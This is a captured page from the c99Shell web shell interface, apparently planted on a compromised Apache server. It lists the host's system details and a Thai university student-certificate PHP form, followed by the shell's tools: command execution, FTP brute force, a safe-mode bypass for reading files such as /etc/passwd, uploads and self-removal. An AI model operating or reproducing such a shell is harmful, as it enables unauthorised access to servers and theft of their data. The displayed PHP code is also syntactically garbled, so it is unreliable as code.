!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_searchRptRis121.php (6.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script>
function checkTypeSt(val) {
    if(val=="1") {        
        document.getElementById('curId').disabled = false;
        document.getElementById('acY').disabled = false;        
        document.getElementById('stdtCode').disabled = true;
        document.getElementById('uploadfile').disabled = true;
    }
    else if(val=="2") {        
        document.getElementById('curId').disabled = true;
        document.getElementById('acY').disabled = true;        
        document.getElementById('stdtCode').disabled = false;
        document.getElementById('uploadfile').disabled = true;
    }
    else if(val=="3") {        
        document.getElementById('curId').disabled = true;
        document.getElementById('acY').disabled = true;        
        document.getElementById('stdtCode').disabled = true;
        document.getElementById('uploadfile').disabled = false;
    }
}
</script>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center">
            <table width="100%" align="center" cellpadding="1" cellspacing="1" border="0">
                <tr>
                    <td colspan="2" align="center"><span class="h error">ใบรับรองการจบการศึกษา</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td>
<?php
                    
echo form_open_multipart($this->config->item("rg_folder")."rpt_document/rptRis121");
?>
                    <table class="szone">
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td colspan="2">
                        <fieldset><table width="100%">
                            <tr>
                                <td colspan="3" height="22"><input type="radio" name="typeSt" id="rad1" value="1" <?php echo ((set_value('typeSt')=='1')? 'checked': ((set_value('typeSt')=='2')? '': ((set_value('typeSt')=='3')? '''checked')));?> onClick="return checkTypeSt('1')">
<?php                        $disN = (set_value("typeSt")=="1")? "": ((set_value("typeSt")=="2" || set_value("typeSt")=="3")? "disabled""");
?>
                                <font size="2"><b><label for="rad1">รายหลักสูตร</label></b></font></td>
                            </tr>
                            <tr>
                                <td width="15%"><font size="2"><b>&nbsp;&nbsp;&nbsp;&nbsp;หลักสูตร</b></font></td>
                                <td width="80%"><?=form_dropdown('curId'$rs_curset_value('curId') ,"id=curId $disN");?>
                                <span class="error">* <?php echo form_error('curId');?></span></td>
                            </tr>
                            <tr>
                                <td width="30%"><font size="2"><strong>&nbsp;&nbsp;&nbsp;&nbsp;ปีการศึกษาที่เข้า</strong></font></td>
                                <td><input type="text" name="acY" id="acY" value ="<?php echo set_value('acY'$acY);?>" size="4" maxlength="5" class="required-int" <?php echo $disN;?>/>
                                <span class="error">* <?php echo form_error('acY');?></span></td>
                            </tr>
                        </table></fieldset></td>
                    </tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td colspan="2">
                        <fieldset><table width="100%">
                            <tr>
                                <td colspan="3" height="22"><input type="radio" name="typeSt" id="rad2" value="2" onClick="return checkTypeSt('2')" <?php echo ((set_value('typeSt')=='2')? 'checked':'');?>/>
                                <font size="2"><b><label for="rad2">รายนักศึกษา</label></b></font></td>
                            </tr>
                            <tr>
                                <td width="15%"><font size="2"><b>&nbsp;&nbsp;&nbsp;&nbsp;รหัสนักศึกษา</b></font></td>
                                <td width="80%"><input type="text" name="stdtCode" id="stdtCode" size="10" maxlength="10" <?php echo (set_value('typeSt')=='2')? '''disabled';?> class="required-int"/>
                                <span class="error">* <?php echo form_error('stdtCode');?></span></td>
                            </tr>
                        </table></fieldset></td>
                    </tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td colspan="2">
                        <fieldset><table width="100%">
                            <tr>
                                <td colspan="3" height="22"><input type="radio" name="typeSt" id="rad3" value="3" onClick="return checkTypeSt('3')" <?php echo ((set_value('typeSt')=='3')? 'checked':'');?>>
                                <font size="2"><b><label for="rad3">นำเข้าข้อมูลด้วยไฟล์และกำหนดที่หนังสือรับรอง</label></b></font></td>
                            </tr>
                            <tr>
                                <td colspan="2"><font size="2"><b>&nbsp;&nbsp;&nbsp;&nbsp;ตัวอย่างการกรอกแฟ้มข้อมูล</b></font></td>
                            </tr>
                            <tr>
                                <td colspan="2"><br /><img src="<?=base_url().$this->config->item("rg_repRis121TP");?>"><br><br /></td>
                            </tr>
                            <tr>
                                <td width="15%" nowrap="nowrap"><font size="2"><b>&nbsp;&nbsp;&nbsp;&nbsp;แฟ้มข้อมูล (.csv)</b></font></td>
                                <td width="80%"><input type="file" name="uploadfile" id="uploadfile" <?php echo (set_value('typeSt')=='3')? '''disabled';?> />
                                <span class="error">* <?php echo form_error('uploadfile');?></span></td>
                            </tr>
                        </table></fieldset></td>
                    </tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td class="coltd_szone">ผู้อำนวยการ/รักษาการในตำแหน่งผู้อำนวยการ</td>
                        <td>
    <?php
                
echo form_dropdown('prsId'$rs_pssetValue('prsId'$rs_ps));
    
?>
                        <font size="2" color="<?php echo $font_color_err;?>">*</font></td>
                    </tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td class="coltd_szone">ส่งออกเป็น</td>
                        <td><input type="radio" name="typeShow" id="typeShow" value="P" checked /><font size="2"><label for="rad4" <?php echo ((set_value('typeShow')=='P')? 'checked': ((set_value('typeShow')=='W')? '''checked'));?>>PDF</label>
                        <input type="radio" name="typeShow" value="W" id="typeShow" <?php echo ((set_value('typeShow')=='W')? 'checked':'');?>/><label for="rad5">Word</label></font></td>
                    </tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td align="center" colspan="2">
                        <input type="submit" name="add" id="add" value="ตกลง" onClick="return checkFormat()" />
                        <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" /></td>
                    </tr>
                    </table><?php echo form_close();?></td>
                </tr>
            </table></div>
        <br><span class="error"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</span></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0132 ]--